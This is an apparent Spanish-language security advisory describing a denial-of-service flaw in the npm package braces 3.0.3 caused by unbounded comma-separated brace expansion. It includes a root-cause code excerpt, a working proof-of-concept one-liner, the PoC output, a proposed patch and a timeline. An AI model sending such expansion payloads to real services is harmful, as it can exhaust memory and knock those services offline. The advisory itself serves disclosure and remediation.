
Candidato a CVE: DoS en [email protected] mediante expansión de llaves separadas por comas (parche incompleto de CVE-2024-4068)
Paquete: braces (npm) Versión: 3.0.3 (última) Severidad: ALTA (CVSS 7.5) CWE: CWE-400 Consumo no controlado de recursos Estado: No reportado
Nota: Este es un hallazgo independiente. CVE-2024-4068 abordó la limitación de la longitud de entrada (MAX_LENGTH=10000) pero no corrigió la explosión combinatoria de salida de los patrones de llaves separados por comas. CVE-2026-45149 afecta a un paquete diferente (
juliangruber/brace-expansion), no amicromatch/braces.
La librería braces es vulnerable a la denegación de servicio mediante el consumo no controlado de recursos al procesar patrones de expansión de llaves separados por comas.
Una entrada maliciosa de tan solo 110 caracteres hace que la librería materialice 4.2 millones de elementos en memoria, consumiendo más de 1.2GB de RAM y bloqueando la CPU durante 9-30 segundos (varía según el hardware).
Esta es una corrección incompleta de CVE-2024-4068. El parche original limitaba la longitud de la entrada a 10.000 caracteres pero no limitaba la salida combinatoria de las expansiones separadas por comas.
braces es una dependencia de micromatch, que es utilizado por:
Cualquier aplicación que pase entrada controlada por el usuario a braces.expand() es vulnerable.
En lib/expand.js, la protección rangeLimit solo verifica rangos numéricos ({1..1000}), no patrones separados por comas ({a,b}):
// lib/expand.js:57
if (node.ranges > 0) { // only numeric ranges are checked
if (utils.exceedsLimit(...args, options.step, rangeLimit)) {
throw new RangeError('...');
}
}
// Comma-separated expansions skip this check entirely
La función append() construye recursivamente todas las combinaciones 2^N en un array sin límite de salida.
mkdir braces-test && cd braces-test
npm init -y && npm install [email protected]
node -e "
const braces = require('braces');
const input = '{a,b}'.repeat(22);
console.time('expand');
const result = braces.expand(input);
console.timeEnd('expand');
console.log('Items:', result.length.toLocaleString());
"
# Install dependency first
npm install [email protected]
python3 poc_braces_dos.py
Los recuentos de elementos son deterministas. El tiempo y la memoria varían según el hardware.
======================================================================
PoC: braces 3.0.3 Denial of Service
CVE-CANDIDATE: CVE-2024-4068 incomplete fix
======================================================================
[*] Finding DoS threshold...
n=10: input= 50 chars -> 1,024 items, 4,096 chars, 11ms, +912KB
n=15: input= 75 chars -> 32,768 items, 163,840 chars, 96ms, +15915KB
n=18: input= 90 chars -> 262,144 items, 1,310,720 chars, 737ms, +115535KB
n=20: input= 100 chars -> 1,048,576 items, 5,242,880 chars, 1833ms, +242558KB
n=22: input= 110 chars -> 4,194,304 items, 20,971,520 chars, 9723ms, +1196410KB
n=25: TIMEOUT/OOM
[*] Conclusion:
- Input size: 110 characters (well within the 10,000 character limit)
- Memory consumption: >1.2GB
- CPU block time: ~10 seconds
braces.expand(input)
-> lib/expand.js:walk()
-> lib/expand.js:append() <- no output limit
-> recursively builds all 2^N combinations
-> returns massive array
Agregue una verificación de límite en cada paso de concatenación en lib/expand.js para evitar la explosión combinatoria. Envuelva las llamadas a append dentro de walk() con un helper de validación:
const queueLimit = (queue, stash, enclose) => {
if (rangeLimit === Infinity) return append(queue, stash, enclose);
const queueLength = queue ? [].concat(queue).length : 0;
const stashLength = [].concat(stash).length;
const nextLength = queueLength === 0 ? stashLength : (stashLength === 0 ? queueLength : queueLength * stashLength);
if (nextLength > rangeLimit) {
throw new RangeError('expanded array length exceeds range limit. Use options.rangeLimit to increase or disable the limit.');
}
return append(queue, stash, enclose);
};
Reemplazar las llamadas a append() dentro de walk() con queueLimit() garantiza que las combinaciones de llaves consecutivas y rangos estén limitadas de forma segura.
| Fecha | Evento |
|---|---|
| 2026-07-17 | Vulnerabilidad descubierta |
| 2026-07-21 | Divulgación pública (la divulgación responsable aún no se ha iniciado) |
Descubierto por cyeezy08.
| Entrada (caracteres) | Elementos de salida | Tiempo (aprox.) | Memoria (aprox.) |
|---|
| 50 | 1,024 | ~10ms | ~1MB |
| 75 | 32,768 | ~100ms | ~16MB |
| 90 | 262,144 | ~700ms | ~116MB |
| 100 | 1,048,576 | ~2-4s | ~243-468MB |
| 110 | 4,194,304 | ~10-30s | ~1.2GB+ |
| 125+ | Crash/OOM | Timeout | OOM Kill |
| Archivo | Descripción |
|---|
poc_braces_dos.py | Script PoC funcional |
findings.md | Análisis detallado de la vulnerabilidad |
verdict.md | Confirmación y puntuación CVSS |
disclosure-report.md | Aviso listo para enviar |
patch.diff | Corrección propuesta para lib/expand.js |
email-draft.txt | Borrador de correo para los mantenedores |